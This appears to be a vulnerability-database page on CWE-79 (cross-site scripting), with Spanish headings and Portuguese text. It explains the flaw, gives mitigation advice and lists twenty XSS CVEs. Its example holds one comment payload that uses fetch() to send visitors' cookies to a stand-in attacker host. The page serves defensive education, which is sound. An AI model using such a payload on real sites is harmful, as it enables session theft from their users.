Fallos del tipo CWE-79

29.071 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-20697MEDIUMCross Site Scripting vulnerability in khodakhah NodCMS v.3.0 allows a remote attacker to execute arbitrary code and gain access to senstivieEPSS 0.5%CVE-2022-29440MEDIUMWordPress Promotion Slider plugin <= 3.3.4 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.5%CVE-2024-3414LOWSourceCodester Human Resource Information System addcorporate_process.php cross site scriptingEPSS 0.5%CVE-2022-1750MEDIUMSticky Popup <= 1.2 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2015-10075LOWCustom-Content-Width custom-content-width.php register_settings cross site scriptingEPSS 0.5%CVE-2021-32764HIGHYouTube Onebox susceptible to XSSEPSS 0.5%CVE-2022-39016HIGHJavascript injection in PDFtron in M-Files HubshareEPSS 0.5%CVE-2024-52281HIGHStored Cross-site Scripting vulnerability in Rancher UIEPSS 0.5%CVE-2022-2517MEDIUMBeaver Builder – WordPress Page Builder <= 2.5.5.2 - Authenticated Stored Cross-Site Scripting via Caption - On HoverEPSS 0.5%CVE-2024-2072LOWSourceCodester Flashcard Quiz App update-flashcard.php cross site scriptingEPSS 0.5%CVE-2023-7166LOWNovel-Plus HTTP POST Request updateUserInfo cross site scriptingEPSS 0.5%CVE-2014-125105LOWBroken Link Checker Plugin Settings Page core.php options_page cross site scriptingEPSS 0.5%CVE-2023-46951MEDIUMCross Site Scripting vulnerability in Contribsys Sidekiq v.6.5.8 allows a remote attacker to obtain sensitive information via a crafted paylEPSS 0.5%CVE-2015-10094LOWFastly Plugin api.php post cross site scriptingEPSS 0.5%CVE-2024-3415LOWSourceCodester Human Resource Information System addbranches_process.php cross site scriptingEPSS 0.5%CVE-2022-0705MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.5%CVE-2021-44775MEDIUMCross-site scripting (XSS) issue in Website app of Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier, allows remote attacEPSS 0.5%CVE-2025-25747MEDIUMCross Site Scripting vulnerability in DigitalDruid HotelDruid v.3.0.7 allows an attacker to execute arbitrary code and obtain sensitive infoEPSS 0.5%CVE-2022-4560LOWJoget wflow-core UniversalTheme.java getInternalJsCssLib cross site scriptingEPSS 0.5%CVE-2024-2773LOWCampcodes Online Marriage Registration System search.php cross site scriptingEPSS 0.5%